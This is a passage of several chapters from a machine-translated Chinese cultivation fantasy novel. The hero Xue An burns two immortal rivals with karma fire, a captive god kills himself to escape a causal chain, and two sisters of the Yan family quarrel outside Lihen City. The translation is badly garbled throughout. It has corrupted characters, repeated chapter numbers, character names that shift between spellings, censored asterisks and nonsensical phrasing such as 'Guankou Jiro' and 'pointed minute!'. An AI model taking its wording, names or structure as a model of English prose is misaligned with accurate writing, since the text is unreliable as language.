    Although Li Hen Tianjun on the other side burned his cultivation base with all his strength, he tried to escape from this world.


    But he is fast, Honglian Karma is faster.


    The moment he was already able to step out of this world with one foot, his karma was entangled in fire and directly pulled him back.


    "Do not!".


    Li Hentian Jun let out a terrible cry.


    was also swallowed by the blazing fire.

 Chapter 1215： Causality Lock

    The flames are soaring, and the flames are soaring into the sky.


    The two half-step immortal kings are considered powerful no matter where they are, but when faced with the red lotus karma fire, they have no power to fight back.


    I saw the brilliance flashing on the two of them. It was the various magic weapons that they wore with them were shattering.


    But it didn''t make them last too long.


    After just a few breaths, the two of them turned into nothing in their screams.


    "Father!" Ye Liuyan screamed, and immediately remembered something. He stepped back a long way with horror and looked at Xue An with great fear.


    He was afraid that Xue An would trouble him.


    But at this moment, Xue An didn''t even look at him, but stood there quietly, overlooking the sky full of fire.


    In an instant, the whole audience could only hear the explosion of rising flames.


    After a while, the snarling genius whispered softly. "Dead...dead?"


    Xue An said lightly: "Of course it''s not that simple!"


    As soon as ����''s voice fell, I saw the flames rising into the sky again, but this time, two figures were emerging in the flames.


    "It''s Li Hen Tianjun and Ziwei Star Lord! They are resurrected again!" Xiaotian was taken aback for a moment, and then exclaimed.


    Xue An seemed to have expected this, and smiled faintly, "Don''t be so surprised, as the old monsters who have survived for tens of thousands of years, how could they not have any means to save their lives?"


    While speaking, I saw that the figures of Li Hentian Monarch and Ziwei Star Master had fully emerged, and a light curtain appeared around them, shielding them, which was a temporary barrier to the red lotus karma.


    But this is just a stopgap measure, because under the erosion of the karmic fire, the light curtain around the two is crazily weakened, relying on the continuous divine support of the two, it was barely broken.


    But the two who had just been burned out of their bodies and finally reunited back together, they couldn''t sustain this massive consumption of divine power for a long time, so they could only look at Xue An with horror.


    The atmosphere of the audience suddenly became silent.


    Xue looked at the two people quietly, then smiled.


    "Now, what do you two have to say?"


    Li Hentian hadn��t spoken yet, and the owner of Ziwei Star on the side could not help but said, ��Xue An, you are indeed the Red Lotus Immortal Venerable back then, really powerful! But your Red Lotus Karma Fire does not come from nothing. Support for so long, the pressure on you should be great, especially when you have suffered such a serious injury!"


    As he said, the gaze of Master Ziwei Star swept across Xue An''s mutilated body.


    Xue An just smiled when he heard the words, "That''s right, but if I am seriously injured, you don''t need to bother!"


    "You..." The owner of Ziweixing originally wanted to put some pressure on Xue An through this kind of speech, but he didn''t expect Xue An to care about it at all.


    "Okay! Needless to say nonsense, I will ask you now, since you know that I am the Red Lotus Immortal, why dare you to act like this?" Xue An asked coldly.


    The reason why he asks this is because the appearance of the Violet Star Master is too abnormal.


    When he was in the Secret Realm of Qi Luck, he was extremely respectful to himself, but after he arrived in the God Realm, he dared to unite with Li Hen Tianjun to deal with him.


    Even though his cultivation base has not recovered yet, doesn''t he know the fate of offending him?


    Upon hearing Xue An��s question, Star Master Ziwei smiled bitterly, ��Xue An, yes, I admit that I was a bit reckless to do this, but you know...��


    Speaking of this, Star Master Ziwei raised his head and stared at Xue An, and said solemnly: "As you disappear, the huge industry you left behind when you were the Immortal Venerable has been eroded and exhausted, and all parties have joined forces and are working hard to eliminate The relics you left behind and all your deeds are blocked, and people are strictly forbidden to talk about it! So that the younger generation of practitioners no longer know your original reputation!"


    Hearing these words, Xue Anjian raised his eyebrows slightly. He had expected this result. After all, once the news of his own fall spread, those who were strongly suppressed by him would naturally jump out and become demons uncontrollably.


    But he didn''t expect things to come so quickly, these people would do it so absolutely.


    It seems that the heavens of the ten thousand realms really need a bloodbath! After all, only killing can make those guys learn to be awed again.


    Xue An thought in his heart, and then said coldly: "So you join forces with Li Hentian Jun?"


    Star Lord Ziwei was speechless when asked, and then looked at Lihentianjun like a help.


    Li Hentian Jun, who had been silent for a long time, suddenly began to laugh, and his smile was full of wanton and arrogance, and then lazily said: "Xue An, you are really amazing, we both admit it!"


    There is no sign of regret in his words.


    Xue An raised his eyebrows slightly, waiting to speak.


    Li Heng Tianjun Jie Jie laughed strangely, "Xue An, I know what you want to say, but I only ask you a word now!"


    "Oh? What are you talking about?"


    Li Hengtian raised his hand and pointed to the yangjian in the distance, and said triumphantly: "I ask you, do you want this Guankou Jiro to live, or do you want him to die?"


    "What do you mean?" Xue An''s expression changed and asked in a deep voice.


    "Don''t you understand what you mean? Okay, then I will show you it!"


    Talking, this Lihentianjun raised his hand and pointed minute! "


    Boom!


    Following his order, a bright golden light suddenly appeared on the dozen or so black towers, and then the chains rattled and started to pull.


    in an instant.


    The chain was stretched straight, and the Yang Jian in the middle was also pulled apart by this huge force, forming a big font.


    Even so, the chains are still chucking and turning, and even the masculine body is pulled out.


    It was the sound of the skin being torn apart because of the tremendous force, and the blood was flowing down the thin body of Yang Jian.


    Xue An''s eyes were cold, and when he raised his hand, a sword blasted out.


    But when this indestructible sword touched the chain, the void shook for a while, the chain was undamaged, and Yang Jian trembled, and a deep sword mark suddenly appeared on the back of the body.


    Seeing this scene, Xue An''s discoloration changed, his speech was as cold as ice, and he said every word: "Chain of cause and effect!"


    Li Heng Tianjun laughed, "Yes, it is the chain of cause and effect, Xue An, you really have good eyesight!"


    The so-called chain of cause and effect is a very damaging trick of imprisonment.


    is a kind of treasure that is condensed by the immortal king or above through his own laws. Once locked, it will never be taken off unless the person who performs the operation does it himself. .


    And the most poisonous thing about this kind of causal chain is that no matter what means you use to break it, it will affect the person who is bound.


    Even when facing the imperial king''s decree, Xue An''s expression didn''t change much, but now after seeing the chain of cause and effect, his expression became extremely ugly.

 Chapter 1216： Aggressive

    "In order to imprison Erlang Shenjun, you really have lost your blood!" Xue Anman said with murderous intent.


    Li Heng Tianjun smiled and waved, "Stop!"


    ordered, these chains stopped pulling, but at this time, the masculine, bloody, tied in the air with his head down, seemed to have lost consciousness.


    Then Li Heng Tianjun said triumphantly: "No way, who made the potential of you Chinese people so amazing!"


    Talking, Li Hentian Jun raised his head triumphantly and said to Xue An.


    "Xue, let me ask you one more question now, do you want this Gukou Jiro to live or die? Oh right! By the way, I will not only control these chains of cause and effect, but also mine. The spirits are firmly bound to these chains, so if there is any accident to me, then your Erlang Shenjun will bang and explode to pieces, and the spirits will be destroyed!"


    Hearing these words, Xue An hadn''t spoken yet, and was wandering beyond the chains of cause and effect in a hurry, trying to rush over to take a look at his master''s situation, but Huang Tian, ??who couldn''t cross it, was completely angry.


    "Old thief Liheng, you %��%#, I want to peel off all your skin!" The weather was so loud that I was trembling all over, desperately rushing over, and I was going to kill Lihentianjun.


    Li Hentian didn''t look at him, but looked at Xue An coldly, "Xue An, I will give you three breathing times now, make your choice!"


    "One!"


    Xue An silently looked at Li Heng Tianjun and the happy Ziwei Star Lord, his eyes shone with brilliance, but there was no more action.


    "Two!" A panic flashed deep in Li Hentian''s eyes.


    Because Xue An still didn''t move at this time, but raised his hand to stop the snarling who wanted to rush past.


    Li Hengtian Jun''s heart was crossed, and he opened his mouth and shouted: "Three...!"


    Before the three words were completely spoken, Xue An waved his hand casually.


    The red lotus karma that had originally surrounded Lihentianjun and Ziweixing retreated.


    At this time, Li Hentian Jun couldn''t help but let out a sigh of relief, and then laughed triumphantly.


    "Very good! Xue An, it seems that you are a sensible person!"


    As for the star lord Ziwei, he even smiled and complimented: "My Lord Tianjun is really good at planning! I just thought we were going to lose this time!"


    Even Ye Liuyan, who had fled to the distance, flew back at this time, and he shook hands at the two of them with joy, "Father is really good!"


    The three of them were happy.


    Xue An''s momentum is low here.


    The snarling sky eye is about to split. If it weren''t for Xue An''s aura, he really wanted to rush over and fight with these guys now.


    Even Zui Meng and Yu Blade both looked sad at this moment.


    Because of this Jedi comeback of Li Hentian Jun, it is simply too vicious.


    It can be said that all Xue An��s previous efforts have been put to waste.


    Because if he wants to rescue Yang Jian, he can''t kill this Lihentianjun.


    This feeling of seeing the enemy right in front of him, but unable to do anything, is simply too depressing.


    At this time, Li Hen Tianjun smiled at Xue An proudly, "Honglian Immortal, since you have made your choice, you can go now! Oh, by the way, don��t worry, when you leave, I won''t take this Gukoujiro to anything, after all... he is my amulet now! Hahahahaha!"


    Li Hentian Jun laughed triumphantly again.


    Xue looked at him quietly, his eyes floating, and his mutilated body began to drip blood again.


    "My lord..." Drunk Meng whispered softly, tears shining in his eyes.


    But at this moment, I heard a light sigh.


    "Lady!"


    Xue An was shocked, turned his head and looked.


    As expected.


    I saw the impossibly weakened head with his head down, but it was very difficult to raise his head a little bit.


    At this moment, Li Hentian Jun��s laughter stopped abruptly.


    Everyone''s eyes converged on this Guguchijiro.


    I saw Yang Jian''s pale paper face with a cold smile, and then nodded at Xue An.


    "Lady, come here! I have a few words to tell you!"


    Xue An was startled slightly, then nodded, and walked in front of him.


    There was silence in the audience.


    Yang Jian stared at Xue An quietly, and suddenly laughed, "It''s great!"


    As he said, there was a look of reminiscence in Yang Jian��s eyes, ��I was about the same age as you back then! What a wonderful time! I was full of spirits, surrounded by friends, and carefree all day. Just thinking about how to enhance cultivation!"


    Xue An''s eyes changed slightly, and he was about to say something, Yang Jian waved his hand, motioned him not to speak, and then continued.


    "Unfortunately, the nature of this world is cruel. I think my Chinese have never done anything to harm the world, but ended up like this! I was imprisoned here for thousands of years, and at the very beginning I was full of heart. The anger and unwillingness of the people think that the way of heaven is unfair, and that the human heart is dark, but slowly, I figured it out!"


    said, Yang Jian raised his eyes to look at Xue An, "Later, do you know why my Chinese people suffered such disasters?"


    Xue An was silent for a moment, then shook his head, "I don''t know!"


    "Because those people are scared!"


    Xue An was shocked whispered softly: "Afraid..."


    "Yes!" Speaking of this, Yang Jian looked down at Li Hentianjun and others in the distance, and smiled coldly, "Not only them, including the so-called big people behind them are also afraid! They are afraid. The potential of my Chinese, I am afraid of my Chinese being proud, afraid of... everything about us!"


    Speaking of this, Yang Jian''s eyes suddenly burst into bright light, "Hidden, do you understand what I said?"


    Xue An looked down, and nodded, "Understand!"


    Yang Jian Yangtian laughed, "Okay! Very good! Hahahahaha! God of thief, you treat me not badly. In your lifetime, you can actually let me see such amazing Chinese juniors, I am No regrets if you die!"


    As soon as this remark came out, the audience was shocked.


    Because people have heard the death ambition in the positive words.


    Li Hentian Jun, who was originally complacent, was even more distracted, and he was about to rush forward with a roar.


    Then the sky screamed mournfully, "Master!" Then he also rushed here frantically.


    Xue An was the nearest, and his reaction was also very quick. When there was a glimmer of light in his eyes, he was about to stop.


    But at this moment, Yang Jian raised his hand and inserted it into his chest with lightning speed, and then dug out his heart.


    While dripping with blood, his heart was still beating. .


    The whole audience was quiet and terrible for an instant.


    Yangji''s face showed a rare color of relief, and then he said softly: "There is something that I have kept for a long time. I will give it to you now. If you have a chance, please transfer it to someone for me!"

 Chapter 1217： Return to heaven and earth

    Following the voice, Yang Jian tremblingly took out a very humble jade decision from his heart, and threw it to Xue An.


    Xue An was trembling slightly. He raised his hand to hold this jade decision that still had a positive body temperature. A sparkle gradually appeared in his eyes, but soon, he took a deep breath.


    "Don''t worry, senior, I will take care of this for you!"


    At this time, Yang Jian''s aura became more and more declining, but he chuckled softly after hearing the words: "In fact, this is just an obsession of me, because she... most likely is no longer there! But if she is still alive After seeing this jade decision, you will naturally understand everything! Then you can tell her that I don��t regret it!"


    As soon as he said this, the snarled sky who had already rushed to the front cried out, "Master, you..."


    Yang Jian turned his head and glanced at the crying screaming sky, finally flashed a touch of reluctance in his eyes, and then sighed softly, "God, after I leave... you remember to live well!"


    "No...!" Xiaotian was already crying and couldn''t help himself, but he still cried out in choking.


    "Silly boy, are you still so disobedient after so many years?" Yang Jian laughed.


    At this moment, a little light flew out of Yang Jian.


    With this light rising, Yang Jian''s body began to tremble.


    Xue An looked sad, because he knew that this was a sign that Yang Jian''s body was about to collapse.


    As expected.


    Then I saw a little bit of Huaguang rising from Yang Jian''s body, and Yang Jian''s body also became transparent.


    At this moment, Xiaotian jumped up, madly capturing these brilliant lights, trying to prevent them from dissipating.


    But all this is in vain, all his actions can only make these Huaguang fly faster.


    "Don''t be like this, please don''t be like this, don''t fly away, okay! I beg you!" Roaring Tian Zhuangruo shouted frantically.


    "Enough days! It''s useless!" Yang Jian suddenly shouted.


    Roaring sky shook his whole body, and then he stopped slumping, and then started crying, "Master... you are gone, what should I do?"


    Yang��s face was sad, and he couldn��t let go of this snarling dog, who grew up with him and accompanies him for a long time.


    But at this moment, he can only say softly, "I''m sorry!"


    At the same time, his body became more and more transparent, and he could barely distinguish his outline.


    In this situation, Yang Jian raised his head and smiled at Xue An, his smile full of relief.


    "Lady, if you have a chance, please tell me that monkey, in the next life... we will fight again!"


    The words fall.


    Yangjian''s body disintegrated in an instant, turning into a little bit of brilliant light, completely dissipating between the heaven and the earth.


    Upon seeing the sky, he yelled, "Master!" Then he softened and passed out.


    Yu Yan rushed forward and hugged the fallen Roaring Sky.


    while Li Hentian Jun stared blankly.


    At this moment, he was completely stupid, because he couldn''t think of it anyway, this Guguchi Jiro would be so staunch, and he would explode to death.


    You must know that as a born god, Yang Jian has a long life span that is almost immortal. As long as there is no accident, he will never die.


    This is also the reason why he can withstand these ten thousand years of torture and still not fall.


    Unexpectedly, in the end, in order to get rid of his control, he actually chose to blew himself up.


    In the silence of the audience, Xue An raised his head, sucked his nose vigorously, and then said: "Born to be a god, and a spirit after death! Senior, I hope you can return to heaven and earth and make gold again. body!"


    After that, Xue An slowly turned around and looked at Li Hentianjun and the others with extremely cold eyes.


    As far as the eyes can be seen, whether it is Lihen Tianjun or Ziwei Star Lord, they all can''t help but tremble.


    Because they all felt a terrible chill.


    Under this extremely depressing atmosphere.


    Li Hentian Jun couldn''t stop shaking.


    But at this moment, I saw that one of Xue An''s arm was finally overwhelmed and fell down because of the deep wound.


    Now Li Hentian Jun��s eyes lit up, and he shouted loudly, "Liu Yan, go up and stop him! He is already seriously injured now, he is just holding on!"


    "Yes, my son will kill him soon!" Star Master Ziwei also shouted loudly.


    Even though Ye Liuyan''s heart was full of horror at this moment, the orders from the two fathers made him dare not disobey, so he had to bite the bullet and shout, and then urged his whole body to rush up.


    I have to say that after Ye Liuyan was reborn, because the two were integrated, his strength was much stronger than when he was on the earth.


    So this charge is quite terrifying.


    But Xue An seemed to be in a petrified state, and had no response to Ye Liuyan''s blow.


    "My lord!" Zuimeng couldn''t help exclaiming.


    At this moment, Ye Liuyan had already rushed to the front with a powerful force.


    But just when he was happily thinking that the winning ticket was in his hands, he saw Xue An Huo Ran raising his eyes, a cold light flashed in his eyes, then raised the remaining arm and suddenly raised his hand.


    Click!


    A bright sword light cut straight past.


    The speed was so fast that Ye Liuyan didn''t have a chance to react, so he cut it in half from the middle.


    But Ye Liuyan''s body didn''t fall down, instead she shouted in despair at the same time.


    "Don''t!"


    "Spare!"


    The voice was completely different, it was Ye Liuyan and the son of Ziwei begging for mercy at the same time.


    But Xue An didn''t care about this at all, he was at this moment.


    The heart is firm as iron, and the killing intent is mad.


    The only remaining hand clenched the palm into a fist, and then made two punches in a flash.


    Boom! boom!


    only heard two pops.


    Half of the Ye Liuyan and Ziwei God Child were directly exploded and turned into blood fog.


    Then Xue An stepped out of the blood mist, raised his hand to the opposite side of Li Hen Tianjun and Ziwei Shenzi, coldly drank a word.


    "kill!"


    Li Hen Tianjun and Ziwei God Son knew badly after seeing their son being bombed Seeing Xue An��s actions at this moment, they felt chills in their hearts, and they had no intention of fighting. Instead, he turned and ran.


    In their opinion, Xue An is already seriously injured now. As long as he runs fast enough, he just wants to catch up but can''t catch up.


    But they obviously underestimated the killing intent in Xue An''s heart at this moment.


    He took a deep breath, raised his hand and stroked his eyebrows, and a little golden blood poured out from it.


    life blood!


    The most precious blood in a practitioner''s body contains powerful energy, but if it is used rashly, it will hurt vitality.


    But now Xue An, obviously no longer cared about those, there is only one thought in his heart now.


    That is to completely kill these two people!


    Therefore, he only listened to him coldly saying: "I use my body to sacrifice Red Lotus!"

 Chapter 1215： 1 command is like the sky

    With a command, the sky is pouring.


    But seeing that drop of natal blood instantly transforms into a red lotus, then it soars up in an instant, and it grows crazily while flying.


    When it flew above the sky, it turned into a huge red lotus that covered the sky and covered the sun, and then slowly bloomed.


    At the moment when the flower bloomed, countless brilliance stretched out from the blossoming lotus leaves, flew directly into the void, and then shrank suddenly.


    Boom!


    After a loud noise, this world suddenly shook, and then it was completely sealed off.


    Before Li Hen Tianjun and Ziwei Star Master, who were fleeing frantically, had no time to react, they felt that the surrounding world had suddenly changed, as if they were repelling themselves frantically, and even the speed of their escape was crazily suppressed.


    At this time, the two of them were scared to death, but after all, they were both extremely strong men who had survived for thousands of years. The two quickly recovered their sobriety, and then dispersed their spirits without hesitation, trying to cross out. .


    But everything is in vain under the cover of this red lotus.


    When Xue An raised his hand and pointed, the two of them were shocked, and a red lotus appeared on their heads, and then they were born and settled in place.


    This feeling of being unable to move is the most terrifying, at least both of them were scared to face.


    At this time, Xue An appeared in front of the two of them, staring coldly at them.


    "My lord, forgive me! Don''t you want to know who the Lord made me wait? I am willing to tell you everything I know! I just ask you to let me go alive!" Li Hentian Jun finally felt scared, Madly begging for mercy.


    Xue An raised the corners of his mouth and smiled coldly, "It doesn''t matter who is responsible for you!"


    "Uh..." Li Hentian Jun thought he had heard it wrong.


    In his opinion, Xue An has spent so much trouble, isn''t he just trying to find out the truth of the year?


    But why are you not interested in such important information?


    just as he was in doubt.


    Xue An yelled coldly, "The important thing is...you must die!"


    After that, Xue An raised his hand and waved.


    But seeing that the red lotus shrouded above the two people''s heads instantly grew larger, then the lotus leaves soared, directly wrapping them up.


    "Don''t do it!"


    Li Hen Tianjun and Ziwei Star Lord all screamed, but all this didn''t help.


    When the lotus leaves are completely closed together, the two figures have disappeared.


    Then I saw the light inside and the heat waves scorched the sky.


    Xue An said lightly: "Enjoy slowly, this will be your last time, I hope you will like it!"


    no respond.


    In fact, all the screams of the two were blocked by the layers of lotus leaves and could not be transmitted.


    Xue An stood in front of the two lotus flowers and watched quietly.


    I don''t know how long it has passed, it may be a cup of tea, or it may be an hour.


    I heard a loud noise suddenly coming from the lotus.


    Then I heard two very bitter voices faintly.


    "Xue An, you are so cruel!"


    "I am waiting for the day you die!"


    But Xue An was not moved at all, just smiled coldly, "Okay, then you two just wait!"


    Finally, everything returned to silence.


    The brilliance in the lotus gradually faded, and then bloomed again tremblingly.


    Look again at this time, in the lotus flower there are no longer the figure of Li Hen Tianjun and Ziwei Star Lord, only two brilliant beads are left.


    Xue An raised his hand, and these two beads fell into Xue An''s hand.


    This is the memory of Lihen Tianjun and Ziwei Star Lord''s divine mind, and it is the last thing they two have left in this world.


    Besides, they have been completely refined by the red lotus, and even their spiritual thoughts have disappeared.


    After doing all of this, Xue An smiled and whispered softly: "Senior Erlang, have you seen it? The star lord Lihen and Ziwei are dead. As for the people behind them, I already have eyebrows. , I will destroy them all! You...you can go with peace of mind!"


    As soon as the voice fell, Xue An opened his mouth and vomited a large mouthful of blood.


    And the red lotus that originally covered the whole world was shocked, and then it broke apart.


    "My lord!" Zui Meng and Yu Ren all screamed and rushed over.


    Only Shuo Tian, ??who had woken up, still sat there blankly, as if he was already stupid.


    Xue An waved his hand. Although he staggered, he still said in an irrefutable tone: "I''m fine!"


    "But..." Zuimeng was a little anxious.


    Xue An took a deep breath, "I''m just overdrafting too much, you can wait for me to protect the law!"


    "Yes!" Zui Meng and Yu Ren replied solemnly.


    Xue An took a deep look at the roaring sky in the distance, sighed lightly, then fell to the ground, curled his legs, and slowly closed his eyes.


    In fact, the injuries on his body are not as simple as he said.


    First of all, he forcibly carried a decree of the fairy king with half a step of the body of Da Luo. Although most of the pressure was transferred through the natal seal of the Taiyin Protoss, he was still shocked out of his internal injuries.


    While waiting for the queen to return to the heavens of hate, he was fighting again and again, and his golden body after refining the body with the sky fire was broken by birth, showing many scars.


    Immediately afterwards, he used his blood to refine the red lotus, which further deepened his injury.


    But all of this is not as serious as the last memorial to Honglian.


    The use of the essence and blood of his life completely disrupted the cultivation base he had just recovered, and forcibly summoning the red lotus made the meridians in his body chaotic and **** retrograde.


    For such a serious injury, I should be replaced by someone else It is estimated that I would have died a long time ago.


    That is to say, Xue An, a reborn immortal-level powerhouse, can survive till now.


    But now, he must also take care of his physical injuries, otherwise he will have serious consequences.


    Despite paying such a heavy price, Xue An still has no regrets.


    Maybe he will avoid Sanshe for now, and when his cultivation base is restored in the future, he can easily wipe out Liheng Tianjun and Ziwei Star Lord.


    But Xue An never believed that it was not too late for a gentleman to avenge him for ten years. He usually took revenge on the spot.


    Because Xue An has always felt that if you take revenge after the transit, can you really make up for that regret?


    Therefore, Xue Ancai would rather be seriously injured, but also cut off the roots of Lihentianjun and Ziwei Star Lord.


    while he was meditating cross-legged.


    Outside the God Prison, in the Lihentian, an uproar followed.


    Li Hentian Jun is the absolute master of Li Hentian.


    When he died, the whole Li Hentian was also shocked.


    Seeing the sun and the moon reversed, the sky and the earth shook, and the aura of the entire world began to fluctuate violently, including Li Hencheng.


    All the powerhouses in Li Heng Tian were all horrified.


    "What''s the matter? What happened?" Someone asked in surprise.


    "I don''t know! But it seems that something happened to Lord Tianjun!" Someone looked solemn.


    "How is it possible! Lord Tianjun is an immortal king, how could something happen to his old man?".


    The atmosphere began to become horrified.


    Because everyone doesn��t know what happened.

 Chapter 1216： Yan Jiazhong

    At the same time, outside the city of Lihen, a group of people came.


    "Meishu, are you sure that the young man who rescued you in the city of fringe came to Lihen City?" a middle-aged man asked in a deep voice.


    Yan Meishu stepped forward and nodded solemnly, "Father, I am absolutely certain! The Mr. Xue who rescued me is indeed coming to Lihencheng!"


    The middle-aged man who was interrogating was the father of Yan Meishu, the head of the Yan family, Yan Yang.


    When he heard his daughter say this, Yan Yang frowned, looked at the huge towering city in the distance, and whispered: "But this sounds too incredible! Even if this young man is as you said. That''s so powerful, it can''t be the opponent of a strong man like Li Hentian!"


    No wonder Yan Yang is so confused, after all, anyone who hears this kind of thing will doubt it.


    Actually, if Yan Meishu hadn''t repeatedly used his personality and life as a guarantee, Yan Yang would not have taken a huge risk to come here all the way.


    All this is only because of Yan Meishu''s sentence, huge risks are often accompanied by huge returns!


    Yan Yang was very satisfied with this, and then he made up his mind to lead the Yan family''s elite players to find out the truth in Lihentian!


    can travel all the way, but not the slightest strangeness.


    This can''t help but make the people who follow all a little puzzled.


    For example, among the crowd at this moment, there is a young girl wearing an apricot dress with an immature but arrogant face and sneered: "Hehe, my father still believes the eldest sister too much, even wait a minute. Even if you lie, you don��t have any doubts, and you have spent a lot of human and financial resources, and came here at a huge risk. Isn��t this pure joke?"


    Hearing these words, Yan Meishu''s expression changed, her eyebrows raised, and she said solemnly, "Mengtao, what do you mean by this?"


    "What do you mean? Hehe, naturally it means literally! When I was at home, I told my father that even if this boy really existed, he would be nothing more than a boastful bovine spirit, not worth mentioning. You have repeatedly threatened to say how powerful this young man is, and even saved your entire caravan!"


    Speaking of this, Yan Mengtao''s eyes flowed, her face full of playfulness, "But how do I feel that this seems to be what you did on purpose! Could it be...you like this young man who doesn''t know where to jump out?"


    These words can be described as extremely condemning, Yan Meishu''s face turned pale, and then he said in a deep voice: "Yan Mengtao, what are you talking about? These words I said are not random fabricated!"


    "Oh? What about your evidence? You said that cousin He Chuncai was killed by this boy because of his perverse behavior. I can barely believe it! But what evidence is there for the other things you said? For example, you said Yan Jiashang The team was rescued because of this boy! But when we came, we passed by the edge city! As a result, it was calm and there were no rumors about these things at all. How can you explain this?"


    After that, Yan Mengtao sneered at her eldest sister.


    The two of their sisters have always been at odds, especially Yan Mengtao, who is extremely unconvinced with her elder sister, and always feels that her father is partial and takes her sister too seriously.


    Therefore, after finally having a chance to grasp Yan Meishu''s painful foot, Yan Mengtao naturally refused to let it go.


    Hearing these words, Yan Meishu''s eyes changed, she looked at her little sister coldly, and then said coldly: "What''s the explanation? Haha, I said at the beginning that after the banquet, In order not to leak the news, Mr. Xue has refined the spirits of everyone in the audience! Therefore, none of these people will remember what happened, and naturally there will be no news!"


    "Yeah, this is a good reason!" Yan Mengtao applauded lightly, but her face was full of sarcasm, "But elder sister, don''t you think this excuse is too far-fetched? According to you, what is this Mr. Xue? He is a man of God! Can you refine the spirit of the strong in the audience casually?"


    Yan Meishu nodded without a doubt, "Yes, Mr. Xue is a god!"


    Yan Mengtao sneered when she heard the words, "Then, in that case, why doesn''t this Mr. Xue also refine your mind?"


    "Because Mr. Xue said that I am not a person in this world, let me leave quickly! Why? Do you have an opinion?" Yan Meishu was also irritated by her sister''s repeated questions, and said in a cold voice.


    "Hehe, I don''t have any opinions, but I think some people are really stiff-mouthed! They tell a big lie, and even dare not to admit it!" Yan Mengtao said with a sarcasm.


    "You..." Yan Meishu''s face was cold and she was ready to speak.


    "Okay! Both of you don''t say a few words!" Yan Yang yelled softly.


    Yan Meishu stopped then, and then took a deep look at Yan Mengtao.


    Yan Mengtao didn''t care at all, she was proud of her face, and then said to Yan Yang a little coquettishly.


    "Father, how long shall we wait here?"


    Yan Yang said in a deep voice: "Whether what your sister said is true or false, since we are here, we have to find out the truth. After all, our Yan family has always been grudges and grudges, if this Mr. Xue is really kind to my Yan family , We should repay ourselves!"


    Although it sounds okay, there is obviously some doubt about Yan Meishu in the tone.


    Yan Meishu naturally heard it too, she couldn''t help being startled, and then lowered her head, her heart full of melancholy.


    After crossing the edge of the sea, after returning to Yan''s house, she found her father as soon as possible, and said the matter exactly, but Yan Yang didn''t care too much at the time.


    Yan Yang didn''t move his heart until Yan Mei Shuxiao took advantage.


    Yan Meishu said very clearly that this Mr. Xue is likely to be a huge opportunity for the Yan family to carry forward in the future. If you don''t seize it now, there will be no chance!


    And all that is needed now is to lead the people to the sky of Liheng and take a look, without paying anything at all.


    With this thought in mind, Yan Yang led everyone here.


    But he didn''t expect that his father was not doing well, so he had doubts about himself.


    Yan Mei couldn''t help feeling deeply disappointed.


    At this moment, the world suddenly shook.


    Everyone was taken aback, and then they all noticed something and looked up together.


    But seeing the sky above, the sun and the moon reversed, and the spiritual energy between the sky and the earth began to vibrate violently.


    "What''s going on?" Yan Yang''s expression changed drastically, and he shouted in surprise.


    As for the others, they were all shocked. .


    Only Yan Meishu stared blankly at the vision above the sky. It was not until a moment later that a trace of comprehension suddenly appeared in her shocked eyes, and then her whole body began to be unable to stop. Trembling, whispered foolishly.


    "It''s Mr. Xue! He...really did it!"

 Chapter 1217： Vicissitudes of life

    God Prison.


    Ten days have passed. During these ten days, Drunken Dream and Yu Ren kept guarding Xue An.


    Roaring sky did not leave, but he seemed to be stunned, sitting in the middle of the dozens of abandoned towers, his eyes were obsessed, and he didn''t know what he was thinking.


    At this moment, Xue An is surrounded by layers of brilliance, forming a thick cocoon.


    Although I can''t see the situation inside, Drunken Dream can clearly feel that Xue An''s aura is growing a little bit.


    at last.


    After three full days passed, the light cocoon suddenly began to tremble, and then it shattered like an eggshell.


    Xue An, who sat cross-legged in it, slowly opened his eyes.


    A golden light swept across the world as far as his eyes were.


    Drunk Meng and Yu Blade shook all over, then lowered their heads in amazement, not daring to look directly at Xue An''s eyes.


    Because they felt that Xue An at this moment seemed to have infinite power in his eyes, and people couldn''t help but want to worship.


    Xue An took a slow and deep breath, blinked gently, and the brilliance in his eyes was restrained, and the strong pressure just disappeared.


    Drunken Dream and Yu Ren couldn''t help but let out a sigh of relief, and then said with a smile on their faces: "My lord, your injury..."


    Xue An smiled and nodded, "It''s time to go!"


    After that, Xue An stood up slowly.


    Sure enough, most of the scars criss-crossed before have disappeared, only the deepest wound between the chest and abdomen still exists.


    The broken arm has also recovered, but Xue An knows that this hand has only temporarily recovered part of its function, and it will take a long time to truly recover.


    After all, the injuries suffered this time were extraordinary, and even shaken the roots.


    In fact, if it were other cultivators, after suffering such a serious injury, even if they could save their lives, the path of cultivation would be cut off.


    Because one path of spiritual practice is to go against the sky, there may be no chance of saving.


    This is also the reason why most cultivators try their best to avoid the struggle between life and death. Because of this kind of struggle, even if you win, it is a miserable victory, and it is very likely that you will be involved in your future future.


    Only a supreme powerhouse like Xue An who has reached the summit can be sure not to hinder practice due to this kind of injury.


    In fact, Xue An did a lot of things in these 13 days.


    First of all, he sorted out all the abilities since the training, and then started to repair the injuries in the body with an extremely determined determination.


    This process was extremely painful and long, but Xue An completed it in just a dozen days.


    Now he, even though he looks a little horrible on the outside, is actually not a major problem, and when he completely recovers, his strength will surely be even further, and half a step Da Luo''s cultivation base will be completely stabilized.


    Drunken Dream and Yu Ren were naturally overjoyed. Xue An looked at the silly roaring sky sitting on the ground in the distance, couldn''t help sighing, and then walked slowly over.


    Xiaotian was ignorant of what was happening. At this moment, he seemed to have closed his heart, becoming like a wooden person.


    Xue An stood beside him, looked up at the dozen or so towers, and then whispered softly: "If you want to cry, just cry! This will make you feel better!"


    The sound was not loud, but it caused Xiaotian to shake all over, then he retracted his gaze in a daze and looked at Xue An.


    Xue An ignored his gaze, but continued: "I will not comfort you, because I know that this kind of thing cannot be made up for with a few words of comfort! After all... no one can truly appreciate the other person''s feelings!"


    Xiaotian trembled all over, and finally showed sorrow and pain on his sluggish face, and then said the first sentence in more than ten days.


    "Mr. Xue...I''m so sad!"


    Xue An nodded and said softly: "I know!"


    Xiaotian squeezed a smile on his face that was even worse than crying, and said with a trembling voice.


    "I''ve been thinking about ten thousand years since I''ve been sitting here! How long is ten thousand years! It is enough to turn the sea into a sacred field, and make Xingyue sink in! But in such a long time, the master has been This horrible place, silently suffers cruel torture! But I... don''t know at all, and I have become the enemy''s running dog, let others drive!"


    Speaking of this, Xiaotian��s face was already covered with tears, and then he yelled in a nearly desperate voice: "Mr. Xue, do you think I am a bastard?"


    Zui Meng and Yu Ren watched from a distance, and they didn''t know when they were already in tears.


    And Xue An nodded slowly after a moment of silence, "Yes, you are indeed a bastard! And you are the **** among the bastards!"


    "Yes! The sir is right! I am not even as good as a bastard! Hahahaha!" Xiaotian let out a howl like crying and laughing, then opened his mouth and vomited a mouthful of blood.


    "Wow!" Zui Meng screamed and was about to step forward.


